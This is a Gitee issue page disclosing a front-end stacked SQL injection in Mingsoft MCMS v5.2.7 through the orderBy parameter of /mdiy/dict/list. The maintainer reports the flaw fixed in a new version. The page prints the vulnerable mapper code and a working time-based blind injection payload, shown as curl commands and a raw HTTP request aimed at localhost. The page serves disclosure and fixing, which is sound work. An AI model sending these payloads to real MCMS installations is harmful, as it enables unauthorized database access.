



## Mingsoft MCMS v5.2.7 SQL注入【前台】

Done #154VG0 辛夷 Opened this issue 2022-04-26 22:43

/mdiy/dict/list路由的orderBy参数存在堆叠SQL注入

```
Decompiled .class file, bytecode version: 52.0 (Java 8)

115    )))
116    @RequestMapping(
117        value = {"", "/list"},
118        method = {RequestMethod.GET, RequestMethod.POST})
119    )
120    @ResponseBody
121    public ResultData list(@ModelAttribute @ApiIgnore DictEntity dict, HttpServletRequest request) {
122        BasicUtil.startPage();
123        if (dict.getDictEnable() == null) {
124            dict.setDictEnable(true);
125        } else {
126            dict.setDictEnable((Boolean)null);
127        }
128        List dictList = this.dictBiz.query(dict);
129        return ResultData.build().success(new EUListBean(dictList, (int)BasicUtil.getPageCount()));
130    }
131    @ApiOperation("根据子业务类型获取所有字典类型")
```

```
<select id="query" resultMap="resultMap">
125    select * from mdy_dict
126    <where>
127        <if test="dictValue != null and dictValue != ''"> and dict_value=
128        <if test="dictLabel != null and dictLabel != ''"> and dict_label=
129        <if test="dictType != null and dictType != ''"> and dict_type=
130        <if test="dictDescription != null and dictDescription != ''"> and dict_description=
131        <if test="dictSort != null"> and dict_sort=#{dictSort} </if>
132        <if test="isChild != null and isChild != ''"> and is_child=#{isChild} </if>
133        <if test="dictRemarks != null and dictRemarks != ''"> and dict_remarks=
134        <if test="del > 0"> and del=#{del} </if>
135        <if test="dictEnable != null"> and dict_enable=#{dictEnable} </if>
136        <include refid="net.mingsoft.base.dao.IBaseDao.sqlWhere"></include>
137    </where>
138    <if test="orderBy != null">
139        order by
140        <choose>
141            <when test="orderBy=='id'">id</when>
142            <when test="orderBy=='dictType'">dict_type</when>
143            <when test="orderBy=='dictSort'">dict_sort</when>
144            <otherwise>
145                ${orderBy}
146            </otherwise>
147        </choose>
148    </if>
149    </select>
```

Don't show this again

- Status
  - Done
- Assignees
  - Not set
- Labels
  - Not set
- Milestones
  - 5.2.8
- Pull Requests
  - None yet
  - Successfully merging a pull request.
- Branches
  - No related branch
  - Planned to start - Planned to start
  - Unscheduled - Unschedule
- Top level
  - Not Top
- Priority
  - Not specified

参与者 (2)



证明

```
curl -w "%{time_total}\n" -i -I -X 'GET' 'http://127.0.0.1:8080/mdiy/dict/list?dictType=1&orderBy=1)a;select'
```



```
curl -w "%{time_total}\n" -i -I -X 'GET' $'http://127.0.0.1:8080/t/**/if(substring((select/**/database()),1,4)='mcms',sleep(3)) HTTP/1.1 500
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked
Date: Tue, 26 Apr 2022 14:39:59 GMT
Connection: close
3.057097
```

Request

1 GET /mdiy/dict/list?dictType=1&orderBy=1);select/\*\*/if(substring((select/\*\*/database()),1,4)='mcms',sleep(2),1); HTTP/1.1

2 Host: 127.0.0.1:8080

3 User-Agent: Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0

4 Accept: application/json, text/plain, \*/\*

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate

7 X-Requested-With: XMLHttpRequest

8 Cache-Control: no-cache

9 Pragma: no-cache

10 token: null

11 Connection: close

12 Referer: http://127.0.0.1:8080/ms/index.do

13 Content-Length: 0

14 Sec-Fetch-Dest: empty

15 Sec-Fetch-Mode: cors

16 Sec-Fetch-Site: same-origin

17

18



## Gitee 已支持 CLA 协议签署

- 🔥 第一方功能集成，签署流程更高效
- 📄 内置可自定义的协议模板
- 👤 让开源贡献也能有据可依

I know

View Details

```
\\n### Error querying database. Cause: java.sql.SQLException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') tmp_count' at line 1\\n### The error may exist in net/mingsoft/mdiy/dao/IDictDao.xml\\n### The error may involve defaultParameterMap\\n### The error occurred while setting parameters\\n### SQL: select count(0) from ( select * from mdiy_dict WHERE dict_type=? and dict_enable=? order by 1);select/**/if(substring((select/**/database()),1,4)='mcms',sleep(2),1); ) tmp_count\\n### Cause: java.sql.SQLException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') tmp_count' at line 1\\n; bad SQL grammar []; nested exception is java.sql.SQLException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') tmp_count' at line 1",
"code":500
}
```

辛夷 created 任务 7 months ago

Expand operation logs



铭飞 owner 7 months ago

感谢对开源产品的关注，新版本已修复。

铭飞 changed issue state from 进行中 to 已完成 7 months ago

Sign in to comment



©OSCHINA. All rights reserved

Git Resources

Learning Git

CopyCat

Downloads

Gitee Reward

Gitee Stars

Featured Projects

Blog

Nonprofit

Gitee Go

OpenAPI

Help Center

Self-services

Updates

About Us

Join us

Terms of use

Feedback

Partners



777320883



git@oschina.cn



Gitee



+86 400-606-0201



Mini app

